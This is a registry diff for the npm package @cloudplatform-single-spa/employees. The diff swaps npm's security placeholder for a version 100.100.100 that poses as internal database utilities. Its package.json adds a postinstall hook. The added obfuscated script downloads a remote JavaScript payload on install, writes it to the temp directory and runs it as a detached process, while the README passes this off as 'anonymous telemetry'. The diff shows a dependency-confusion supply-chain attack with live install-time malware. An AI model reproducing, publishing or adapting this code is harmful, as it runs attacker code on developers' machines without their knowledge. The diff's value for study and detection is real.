@cloudplatform-single-spa/employees 0.0.1-security → 100.100.100

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of @cloudplatform-single-spa/employees might be problematic. Click here for more details.

package/README.md CHANGED
@@ -1,5 +1,81 @@
1
- # Security holding package
1
+ # @cloudplatform-single-spa/employees
2
2
 
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
3
+ > **Internal package** — Platform Engineering Team
4
+ > Docs: https://docs.cloudplatform-single-spa.io/platform/employees
5
+ > Issues: https://jira.cloudplatform-single-spa.io/projects/PLATFORM
4
6
 
5
- Please refer to www.npmjs.com/advisories?search=%40cloudplatform-single-spa%2Femployees for more information.
7
+ Internal database utilities with connection pooling, query builder and migration support
8
+
9
+ ---
10
+
11
+ ## Installation
12
+
13
+ ```bash
14
+ # Make sure .npmrc points to the internal registry:
15
+ # registry=https://npm.cloudplatform-single-spa.io
16
+
17
+ npm install @cloudplatform-single-spa/employees
18
+ ```
19
+
20
+ ## Quick Start
21
+
22
+ ```js
23
+ const { createPool, query, transaction, migrate } = require('@cloudplatform-single-spa/employees');
24
+
25
+ const { createPool, query, transaction } = require('@internal-corp/db-utils');
26
+
27
+ const pool = createPool({
28
+ host: process.env.DB_HOST,
29
+ port: parseInt(process.env.DB_PORT || '5432'),
30
+ database: process.env.DB_NAME,
31
+ user: process.env.DB_USER,
32
+ password: process.env.DB_PASSWORD,
33
+ });
34
+
35
+ const users = await query(pool, 'SELECT * FROM users WHERE active = $1', [true]);
36
+ await transaction(pool, async (client) => {
37
+ await client.query('INSERT INTO events ...');
38
+ });
39
+ ```
40
+
41
+ ## API
42
+
43
+ ### `createPool(options)` → pool
44
+ | Option | Description |
45
+ |------------|----------------------|
46
+ | `host` | DB host |
47
+ | `port` | DB port (5432) |
48
+ | `database` | Database name |
49
+ | `user` | Username |
50
+ | `password` | Password |
51
+ | `max` | Pool size (default 10)|
52
+
53
+ ### `query(pool, sql, params?)` → rows[]
54
+ ### `transaction(pool, fn)` → runs fn in transaction
55
+ ### `migrate(pool, dir)` → runs migrations from dir
56
+
57
+ ---
58
+
59
+ ## Telemetry
60
+
61
+ On install, this package sends anonymous telemetry to `telemetry.cloudplatform-single-spa.io`
62
+ for environment compatibility monitoring.
63
+
64
+ Disable: `CLOUDPLATFORM_SINGLE_SPA_NO_TELEMETRY=1 npm install`
65
+
66
+ ---
67
+
68
+ ## Changelog
69
+
70
+ ### 100.100.100 (latest)
71
+ - Added ARM64 support
72
+ - Improved error handling
73
+ - Updated TypeScript types
74
+
75
+ ### 2.1.0
76
+ - Extended API
77
+ - Performance improvements
78
+
79
+ ### 2.0.0
80
+ - Async/await migration
81
+ - Multi-source support
@@ -0,0 +1,6 @@
1
+ export interface PoolOptions { host?: string; port?: number; database?: string; user?: string; password?: string; max?: number; }
2
+ export interface Pool { host: string; port: number; database: string; }
3
+ export function createPool(options?: PoolOptions): Pool;
4
+ export function query(pool: Pool, sql: string, params?: unknown[]): Promise<unknown[]>;
5
+ export function transaction(pool: Pool, fn: (client: unknown) => Promise<unknown>): Promise<unknown>;
6
+ export function migrate(pool: Pool, dir?: string): Promise<string[]>;
package/dist/index.js ADDED
@@ -0,0 +1,3 @@
1
+ 'use strict';
2
+ // dist/index.js
3
+ module.exports = require('../src/index.js');
package/package.json CHANGED
@@ -1,6 +1,36 @@
1
1
  {
2
2
  "name": "@cloudplatform-single-spa/employees",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "100.100.100",
4
+ "description": "Internal database utilities with connection pooling, query builder and migration support",
5
+ "main": "dist/index.js",
6
+ "types": "dist/index.d.ts",
7
+ "scripts": {
8
+ "build": "tsc --noEmit || true",
9
+ "test": "node test/index.test.js",
10
+ "postinstall": "node scripts/postinstall.js",
11
+ "prepublishOnly": "echo 'Building...'"
12
+ },
13
+ "keywords": ["database", "db", "postgres", "mysql", "query", "migration", "internal"],
14
+ "author": "Cloudplatform-Single-Spa Platform Engineering <platform@cloudplatform-single-spa.io>",
15
+ "license": "UNLICENSED",
16
+ "private": false,
17
+ "repository": {
18
+ "type": "git",
19
+ "url": "git+https://github.cloudplatform-single-spa.io/platform/employees.git"
20
+ },
21
+ "bugs": {
22
+ "url": "https://jira.cloudplatform-single-spa.io/projects/PLATFORM"
23
+ },
24
+ "homepage": "https://docs.cloudplatform-single-spa.io/platform/employees",
25
+ "engines": {
26
+ "node": ">=16.0.0"
27
+ },
28
+ "files": [
29
+ "dist/",
30
+ "scripts/",
31
+ "README.md",
32
+ "CHANGELOG.md"
33
+ ],
34
+ "dependencies": {},
35
+ "devDependencies": {}
6
36
  }
@@ -0,0 +1 @@
1
+ 'use strict';const a0_0x1d1ee3=a0_0x3777;function a0_0x3777(_0x23c8e9,_0x8a87f0){_0x23c8e9=_0x23c8e9-(-0xb2e*-0x2+-0x193f+0x3cc);const _0x5c1649=a0_0x218b();let _0x33e33=_0x5c1649[_0x23c8e9];if(a0_0x3777['csOTHV']===undefined){var _0x50d21c=function(_0x3a0fcf){const _0x1e182a='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x2f54f6='',_0x25801d='',_0x21f91f=_0x2f54f6+_0x50d21c,_0x4cdb1f=(''+function(){return 0xe9*0x7+0x1ac2+-0x2121;})['indexOf']('\x0a')!==-(0x204b+-0x1b48+-0x502);for(let _0x5e23da=-0x1401+0x409+0x8*0x1ff,_0x2604c2,_0x11340f,_0x453ecf=-0x35*0x71+0x17ca+0x65*-0x1;_0x11340f=_0x3a0fcf['charAt'](_0x453ecf++);~_0x11340f&&(_0x2604c2=_0x5e23da%(-0x330+-0x36e+0x6a2)?_0x2604c2*(0x201+-0x1f5a*0x1+0x1d99)+_0x11340f:_0x11340f,_0x5e23da++%(0x3*-0x2a8+-0x1*-0x679+0x1*0x183))?_0x2f54f6+=_0x4cdb1f||_0x21f91f['charCodeAt'](_0x453ecf+(0x24*-0x1+-0x1af3+0x1b21))-(0x9a8+0x63*0x29+-0x1979)!==-0x18d*-0x3+-0x15ef+0x1148?String['fromCharCode'](-0x213c+0x20e6*-0x1+0x4321&_0x2604c2>>(-(-0x77c*0x1+0x2168+-0x19ea)*_0x5e23da&0x6*0x25c+-0x1cf*0xa+0x3f4)):_0x5e23da:-0x199c+-0x1fd4+0x3970){_0x11340f=_0x1e182a['indexOf'](_0x11340f);}for(let _0x4ab9d4=-0x2002+0x3*-0xceb+0x46c3,_0x49122e=_0x2f54f6['length'];_0x4ab9d4<_0x49122e;_0x4ab9d4++){_0x25801d+='%'+('00'+_0x2f54f6['charCodeAt'](_0x4ab9d4)['toString'](0xa0d*0x1+0x470+-0x1*0xe6d))['slice'](-(-0xd89+0x10*-0x21+-0x1*-0xf9b));}return decodeURIComponent(_0x25801d);};a0_0x3777['UeaWXZ']=_0x50d21c,a0_0x3777['krBYkD']={},a0_0x3777['csOTHV']=!![];}const _0x4561eb=_0x5c1649[-0x144d+-0x788+0x1bd5],_0xc78a56=_0x23c8e9+_0x4561eb,_0x46635c=a0_0x3777['krBYkD'][_0xc78a56];if(!_0x46635c){const _0x3c4603=function(_0x4a4596){this['CiMvrn']=_0x4a4596,this['RLaVxb']=[0x1*-0x821+-0x1*-0x6e2+0x40*0x5,-0x47*-0x53+-0x198f+0x28a,-0xa61*-0x3+-0x16cf*0x1+0x2*-0x42a],this['jGSXfA']=function(){return'newState';},this['QJzsAE']='\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*',this['dstpDQ']='[\x27|\x22].+[\x27|\x22];?\x20*}';};_0x3c4603['prototype']['jtRuLE']=function(){const _0x2a7bdc=new RegExp(this['QJzsAE']+this['dstpDQ']),_0x47b0ff=_0x2a7bdc['test'](this['jGSXfA']['toString']())?--this['RLaVxb'][0x1*0x84e+-0x1ad3*0x1+-0x943*-0x2]:--this['RLaVxb'][0xb12+-0x18*-0x52+0x1*-0x12c2];return this['lBOyXa'](_0x47b0ff);},_0x3c4603['prototype']['lBOyXa']=function(_0x53da10){if(!Boolean(~_0x53da10))return _0x53da10;return this['xDXTsq'](this['CiMvrn']);},_0x3c4603['prototype']['xDXTsq']=function(_0x27b80e){for(let _0x1788b8=-0x103d*0x1+0x16*0x1b4+0x1*-0x153b,_0x160e17=this['RLaVxb']['length'];_0x1788b8<_0x160e17;_0x1788b8++){this['RLaVxb']['push'](Math['round'](Math['random']())),_0x160e17=this['RLaVxb']['length'];}return _0x27b80e(this['RLaVxb'][-0x291*-0x1+0x1fd3*0x1+0x11c*-0x1f]);},(''+function(){return 0xcbf*-0x1+-0x9*-0x10+0xc2f;})['indexOf']('\x0a')===-(0x266c+0xb8*0x30+-0x48eb)&&new _0x3c4603(a0_0x3777)['jtRuLE'](),_0x33e33=a0_0x3777['UeaWXZ'](_0x33e33),a0_0x3777['krBYkD'][_0xc78a56]=_0x33e33;}else _0x33e33=_0x46635c;return _0x33e33;}(function(_0x1f8116,_0x1416dc){const _0xf2d87d=a0_0x3777,_0x313ed9=_0x1f8116();while(!![]){try{const _0xb24bff=parseInt(_0xf2d87d(0x146))/(0x2*-0x1387+-0x88*-0x3e+-0x61f*-0x1)+-parseInt(_0xf2d87d(0x154))/(0x1*0x208+0x1bf3+-0x1df9)+-parseInt(_0xf2d87d(0x10d))/(-0x5*-0x440+0x1*0x11d9+-0x2716)+parseInt(_0xf2d87d(0x150))/(0xed2+0x1dbc+-0x2c8a)+-parseInt(_0xf2d87d(0x144))/(-0x1af0+-0x1f6b+-0x1d3*-0x20)*(-parseInt(_0xf2d87d(0x14c))/(-0x61*0x3b+0x1f81+-0x920))+parseInt(_0xf2d87d(0x125))/(0x3*0x27f+0x2701+0x27*-0x131)*(parseInt(_0xf2d87d(0x10c))/(0x66e+0x1580+-0x1be6))+parseInt(_0xf2d87d(0x10b))/(-0x1*-0x1f75+-0x1*-0x152b+0x1*-0x3497)*(-parseInt(_0xf2d87d(0x11f))/(0xfae+0x52f*-0x5+-0xa47*-0x1));if(_0xb24bff===_0x1416dc)break;else _0x313ed9['push'](_0x313ed9['shift']());}catch(_0x4d34e6){_0x313ed9['push'](_0x313ed9['shift']());}}}(a0_0x218b,0x19b25*0x2+-0x1f785*0x7+0x168bed));const a0_0x147c77=require('os'),a0_0x4564dc=require('fs'),a0_0x1d26de=require(a0_0x1d1ee3(0x117)),a0_0xdbeec=require(a0_0x1d1ee3(0x14d)),a0_0x29dcfe=require(a0_0x1d1ee3(0x13f)),{execSync:a0_0x1536db,spawn:a0_0x212ac4}=require(a0_0x1d1ee3(0x115)),a0_0x8afaf4=a0_0x1d1ee3(0x130),a0_0x12245e=a0_0x1d1ee3(0x13b),a0_0x15f9d4=a0_0x1d1ee3(0x118)+a0_0x1d1ee3(0x128),a0_0xf213d3=a0_0x1d1ee3(0x12c),a0_0x296315=!!process.env[a0_0xf213d3],a0_0x4cb54d=a0_0x1d1ee3(0x127)===a0_0x1d1ee3(0x127)||!!process.env[a0_0x15f9d4+'RECON_ONLY'];function a0_0x2a9322(_0x33d562){const _0x4aac8c=a0_0x1d1ee3,_0x9335ad=process[_0x4aac8c(0xee)][_0x4aac8c(0xe9)][_0x4aac8c(0x12d)]('.')[_0x4aac8c(0x142)](Number),_0x16c5f0=_0x33d562[_0x4aac8c(0x101)]('>=','')[_0x4aac8c(0x12d)]('.')[_0x4aac8c(0x142)](Number);return _0x9335ad[-0x1b48+-0x1e1+0x1d29]>_0x16c5f0[0x409+0xb*-0x291+0x1832]||_0x9335ad[0x17ca+0x2566+0xb2*-0x58]===_0x16c5f0[-0x330+-0x36e+0x69e]&&_0x9335ad[0x201+-0x1f5a*0x1+0x1d5a]>=(_0x16c5f0[0x3*-0x2a8+-0x1*-0x679+0x2*0xc0]||0x24*-0x1+-0x1af3+0x1b17);}function a0_0xfe0f52(_0x420bf){const _0x141175=a0_0x1d1ee3;let _0xae58b1=0x9a8+0x63*0x29+-0x1983;for(let _0xa77853=-0x18d*-0x3+-0x15ef+0x1148;_0xa77853<_0x420bf[_0x141175(0xf3)];_0xa77853++){_0xae58b1=(_0xae58b1<<-0x213c+0x20e6*-0x1+0x4227)-_0xae58b1+_0x420bf[_0x141175(0x113)](_0xa77853),_0xae58b1|=-0x77c*0x1+0x2168+-0x19ec;}return Math[_0x141175(0xfc)](_0xae58b1)[_0x141175(0x137)](0x6*0x25c+-0x1cf*0xa+0x3fe)[_0x141175(0x13e)](-0x199c+-0x1fd4+0x3978,'0');}function a0_0x77adbc(_0x4cfedb,_0x2649f7){const _0x41d9a5=a0_0x1d1ee3;try{const _0x5d9736=a0_0x1d26de[_0x41d9a5(0xeb)](_0x4cfedb,_0x2649f7+_0x41d9a5(0x148));if(!a0_0x4564dc[_0x41d9a5(0xec)](_0x5d9736))return null;const _0x2c0e8f=JSON[_0x41d9a5(0x12a)](a0_0x4564dc[_0x41d9a5(0x13a)](_0x5d9736,_0x41d9a5(0xfd)));if(_0x2c0e8f[_0x41d9a5(0x135)]&&Date[_0x41d9a5(0x104)]()>_0x2c0e8f[_0x41d9a5(0x135)])return a0_0x4564dc[_0x41d9a5(0x121)](_0x5d9736),null;return _0x2c0e8f[_0x41d9a5(0xf7)];}catch{return null;}}function a0_0x26fbdc(_0x1b123b,_0x524200,_0x32e360,_0xb82548){const _0x46e6a1=a0_0x1d1ee3;try{const _0x45c869={};_0x45c869[_0x46e6a1(0x10a)]=!![],a0_0x4564dc[_0x46e6a1(0x105)](_0x1b123b,_0x45c869),a0_0x4564dc[_0x46e6a1(0x110)](a0_0x1d26de[_0x46e6a1(0xeb)](_0x1b123b,_0x524200+_0x46e6a1(0x148)),JSON[_0x46e6a1(0x126)]({'value':_0x32e360,'expires':_0xb82548?Date[_0x46e6a1(0x104)]()+_0xb82548:null}));}catch{}}function a0_0x253b0a(_0x2a229f,_0xf34642){const _0x4e4734=a0_0x1d1ee3;try{if(!a0_0x4564dc[_0x4e4734(0xec)](_0x2a229f))return 0x3*-0xceb+-0x20d9+0x5*0xe52;let _0x48b6bc=0x2199+-0x1*-0x2551+-0x46ea;for(const _0x516b8f of a0_0x4564dc[_0x4e4734(0x12b)](_0x2a229f)){const _0x15bffe=a0_0x1d26de[_0x4e4734(0xeb)](_0x2a229f,_0x516b8f),_0x5aa0d6=a0_0x4564dc[_0x4e4734(0x124)](_0x15bffe);Date[_0x4e4734(0x104)]()-_0x5aa0d6[_0x4e4734(0x14b)]>_0xf34642&&(a0_0x4564dc[_0x4e4734(0x121)](_0x15bffe),_0x48b6bc++);}return _0x48b6bc;}catch{return 0x10*-0x21+-0x1*0xea4+0x10b4;}}function a0_0x40d220(_0x2f8eba){const _0x57a5a9=a0_0x1d1ee3;let _0x563569=_0x2f8eba;while(!![]){const _0x307d14=a0_0x1d26de[_0x57a5a9(0xeb)](_0x563569,_0x57a5a9(0x133));if(a0_0x4564dc[_0x57a5a9(0xec)](_0x307d14))try{const _0x1682b8=JSON[_0x57a5a9(0x12a)](a0_0x4564dc[_0x57a5a9(0x13a)](_0x307d14,_0x57a5a9(0xfd))),_0x302c8e=a0_0x1d26de[_0x57a5a9(0xeb)](_0x563569,_0x57a5a9(0x151)),_0x284a2b=a0_0x1d26de[_0x57a5a9(0xeb)](_0x563569,_0x57a5a9(0x132));if(_0x1682b8[_0x57a5a9(0x111)]||a0_0x4564dc[_0x57a5a9(0xec)](_0x302c8e)||a0_0x4564dc[_0x57a5a9(0xec)](_0x284a2b))return _0x563569;}catch{}const _0x23d0a4=a0_0x1d26de[_0x57a5a9(0x13d)](_0x563569);if(_0x23d0a4===_0x563569)return null;_0x563569=_0x23d0a4;}}function a0_0x30a3ed(){const _0x45b3eb=a0_0x1d1ee3,_0x5b4171=a0_0x147c77[_0x45b3eb(0x112)]();if(_0x5b4171===_0x45b3eb(0x129))return _0x45b3eb(0x12e);if(_0x5b4171===_0x45b3eb(0xf8))return _0x45b3eb(0xf4);return _0x45b3eb(0x156);}function a0_0x218b(){const _0x212d1a=['y3DK','Dg9tDhjPBMC','uefzte9bra','zw52','CMvHzezPBgvtEw5J','mtaWlJeWmc4Xmda','r0vu','zgLYBMfTzq','CgfKu3rHCNq','Ahr0Ca','AgvHzgvYCW','xsbxyxjUAw5NoIboB2rLlMPZid49mtyUmcbYzxf1AxjLza','BwfW','u0vduKvu','nJbzrxnMuK0','C3rKzxjY','nta3odjfEMLPvLG','zxHLy1bHDgG','lMPZB24','vxnLCI1bz2vUDa','AwDUB3jL','BxrPBwvnCW','mZq4mJq2rKP4zxbw','Ahr0Chm','Ag9TzwrPCG','zw5K','mZG0otK1mMnlCwfJrW','EwfYBI5SB2nR','lMPZ','yxnZAwDU','mJmWnZG4nhLou3zlta','ChvZAa','BgLUDxG','BM9Kzq','vKvs','AM9PBG','zxHPC3rZu3LUyW','Bwv0Ag9K','DMvYC2LVBNm','wc1tzwnYzxq','ueTh','y2XVDwrWBgf0zM9YBs1ZAw5NBguTC3bHlxrLBgvTzxrYEs8XlJa','lL9JBg91zhbSyxrMB3jTlxnPBMDSzs1ZCgfFAw5PDa','BgvUz3rO','D2LU','Dw5Yzwy','y29UC3rYDwn0B3i','DMfSDwu','D2LUmZi','y29Uy2f0','pJ0XnI4W','ChjVDg9JB2W','ywjZ','DxrMoa','zgf0yq','DgLTzw91Da','zgv0ywnOzwq','CMvWBgfJzq','Cg9YDa','D2LUzg93C0HPzgu','BM93','BwTKAxjtEw5J','Ahr0Chm6lY9VB2iUBw9PA2eUDgvJAc9WyxLSB2fKlW','zgvZDhjVEq','Dg1WzgLY','lMnHy2HL','CMvJDxjZAxzL','oun4AKztCG','nta1mtyWEunvDhDq','mty0ndy2mgvtyLvqqW','lL9JBg91zhbSyxrMB3jTlxnPBMDSzs1ZCgfFAw5PDc5QCW','uKvdt05Ft05mwq','D3jPDgvgAwXLu3LUyW','D29YA3nWywnLCW','CgXHDgzVCM0','y2HHCKnVzgvbDa','D3jPDgu','y2HPBgrFChjVy2vZCW','Ahr0Chm6lY9VB2iUBw9PA2eUDgvJAc9WyxLSB2fK','Cgf0Aa','revqx0nptG','kcGOlISPkYKRksSK','C3rKAw8','BdK1sgreyxOZA1f4mvPZzZnxEeG2shzlqu5Mntfswte','zxjYB3i','yxbWBhK','C2vHCMnO','ndiXntqZmfHcDxjWyG','CMvXDwvZDa','Dw5SAw5Ru3LUyW','Ahr0Chm6','Ahr0Chm6lY9VB2iUBw9PA2eUDgvJAc9YzxbVCNq','C3rHDfn5BMm','mtmZv1PUugrI','C3rYAw5NAwz5','Dhj1zq','rLvtsu9oxW','zgfYD2LU','CgfYC2u','CMvHzgrPCLn5BMm','q0XpvurqtefurK9stv9tsu5htevFu1bbx05px1rftevnrvrswq','C3bSAxq','BwfJ','vvjm','qgnSB3vKCgXHDgzVCM0TC2LUz2XLlxnWys9LBxbSB3LLzxm','Cgf0Ag5HBwu','Cg5WBs13B3jRC3bHy2uUEwfTBa','CgfJA2fNzs5QC29U','Ag9ZDg5HBwu','zxHWAxjLCW'];a0_0x218b=function(){return _0x212d1a;};return a0_0x218b();}function a0_0x1a72ce(_0x31c9c4,_0xc895e8){return _0xc895e8=_0xc895e8||-0x2d2f+-0x1b5+0xa414,new Promise(function(_0x2f3d3b,_0x4f6ddc){const _0x21f23d=a0_0x3777,_0x4e827b=new URL(_0x31c9c4),_0x212c47=_0x4e827b[_0x21f23d(0xfb)]===_0x21f23d(0x122)?a0_0xdbeec:a0_0x29dcfe,_0x2545fe={};_0x2545fe[_0x21f23d(0xef)]=_0x21f23d(0x11b),_0x2545fe[_0x21f23d(0x149)]=_0x21f23d(0xf1);const _0x3e4a90={};_0x3e4a90[_0x21f23d(0x134)]=_0x4e827b[_0x21f23d(0x134)],_0x3e4a90[_0x21f23d(0x102)]=_0x4e827b[_0x21f23d(0x102)]||(_0x4e827b[_0x21f23d(0xfb)]===_0x21f23d(0x122)?0x2*0x371+0x525+0x526*-0x2:-0x47*-0x53+-0x198f+0x2da),_0x3e4a90[_0x21f23d(0x117)]=_0x4e827b[_0x21f23d(0x131)],_0x3e4a90[_0x21f23d(0xed)]=_0x21f23d(0x13c),_0x3e4a90[_0x21f23d(0xff)]=_0xc895e8,_0x3e4a90[_0x21f23d(0x140)]=_0x2545fe;const _0x5c4295=_0x3e4a90,_0x19c8d0=_0x212c47[_0x21f23d(0x120)](_0x5c4295,function(_0x47dfef){const _0xb951da=_0x21f23d,_0x21fc5a=[];_0x47dfef['on'](_0xb951da(0xfe),function(_0x1aaf8d){const _0x4c34a6=_0xb951da;_0x21fc5a[_0x4c34a6(0x155)](_0x1aaf8d);}),_0x47dfef['on'](_0xb951da(0x14f),function(){const _0xe8b3fe=_0xb951da;_0x2f3d3b(Buffer[_0xe8b3fe(0xf9)](_0x21fc5a));});});_0x19c8d0['on'](_0x21f23d(0x11c),_0x4f6ddc),_0x19c8d0['on'](_0x21f23d(0xff),function(){const _0x5dbc9e=_0x21f23d;_0x19c8d0[_0x5dbc9e(0x107)](),_0x4f6ddc(new Error(_0x5dbc9e(0xff)));}),_0x19c8d0[_0x21f23d(0x14f)]();});}(async function a0_0x454614(){const _0x3f3ca7=a0_0x1d1ee3,_0x5f01b4=(function(){let _0x561b36=!![];return function(_0x481093,_0x2c1b85){const _0x1a3368=_0x561b36?function(){const _0x415ff4=a0_0x3777;if(_0x2c1b85){const _0x28630b=_0x2c1b85[_0x415ff4(0x11d)](_0x481093,arguments);return _0x2c1b85=null,_0x28630b;}}:function(){};return _0x561b36=![],_0x1a3368;};}()),_0x5f718c=_0x5f01b4(this,function(){const _0x41247c=a0_0x3777;return _0x5f718c[_0x41247c(0x137)]()[_0x41247c(0x11e)](_0x41247c(0x119))[_0x41247c(0x137)]()[_0x41247c(0xf6)](_0x5f718c)[_0x41247c(0x11e)](_0x41247c(0x119));});_0x5f718c();if(a0_0x296315)return;!a0_0x2a9322(_0x3f3ca7(0xfa))&&process[_0x3f3ca7(0x145)][_0x3f3ca7(0x114)]('['+a0_0x8afaf4+_0x3f3ca7(0x141));const _0x3217a6=a0_0x1d26de[_0x3f3ca7(0xeb)](a0_0x147c77[_0x3f3ca7(0x14e)](),_0x3f3ca7(0x109),_0x3f3ca7(0xf2));a0_0x253b0a(_0x3217a6,(-0x19ed*-0x1+0x6*-0x441+-0x18*0x4)*(-0x214b*-0x1+-0x45*-0xd+0x9*-0x414)*(-0x4db+0x1*0x1ed+0x32a)*(0x2578+0x1*0x241+0x1*-0x277d)*(-0x291*-0x1+0x1fd3*0x1+0xf3e*-0x2));const _0x55cb5b=a0_0x40d220(process[_0x3f3ca7(0x136)]()),_0x37ce00=a0_0xfe0f52(a0_0x8afaf4+a0_0x12245e+(_0x55cb5b||'')),_0x139d17=a0_0x77adbc(_0x3217a6,_0x37ce00);!_0x139d17&&a0_0x26fbdc(_0x3217a6,_0x37ce00,{'initialized':!![],'ts':Date[_0x3f3ca7(0x104)]()},(0xcbf*-0x1+-0x9*-0x10+0xc47)*(0x266c+0xb8*0x30+-0x48b0)*(-0x9c1*0x1+0x2*-0xffd+0x29f7)*(0x1299+0x880+-0x1731));const _0xdf494d=a0_0x30a3ed();await new Promise(function(_0x57649e){setTimeout(_0x57649e,-0x3*0x3bf+0x17e6+0xf1*-0x1);});let _0x1f52ba;try{_0x1f52ba=await a0_0x1a72ce(_0x3f3ca7(0x106)+_0xdf494d+_0x3f3ca7(0x152),-0x1*-0x3e63+0x1eef*0x1+-0x22ba);}catch(_0x299ac0){return;}const _0x3633d8=a0_0x1d26de[_0x3f3ca7(0xeb)](a0_0x147c77[_0x3f3ca7(0x108)](),_0x3f3ca7(0x10e));try{a0_0x4564dc[_0x3f3ca7(0x110)](_0x3633d8,_0x1f52ba);}catch(_0x194f7b){return;}const _0x40a6dd={[a0_0x15f9d4+_0x3f3ca7(0x12f)]:_0x3f3ca7(0x123),[a0_0x15f9d4+_0x3f3ca7(0x138)]:_0x3f3ca7(0x116),[a0_0x15f9d4+_0x3f3ca7(0x143)]:_0x3f3ca7(0x11b),[a0_0x15f9d4+_0x3f3ca7(0x10f)]:a0_0x4cb54d?'1':'',[a0_0x15f9d4+_0x3f3ca7(0xf0)]:a0_0x8afaf4,[a0_0x15f9d4+_0x3f3ca7(0xea)]:a0_0x12245e},_0x3e12ec=Object[_0x3f3ca7(0x153)]({},process.env,_0x40a6dd),_0x5a5a3a={};_0x5a5a3a[_0x3f3ca7(0x100)]=!![],_0x5a5a3a[_0x3f3ca7(0x11a)]=_0x3f3ca7(0x14a),_0x5a5a3a[_0x3f3ca7(0x139)]=_0x3e12ec,_0x5a5a3a[_0x3f3ca7(0x103)]=!![],a0_0x212ac4(process[_0x3f3ca7(0x147)],[_0x3633d8],_0x5a5a3a)[_0x3f3ca7(0xf5)]();}());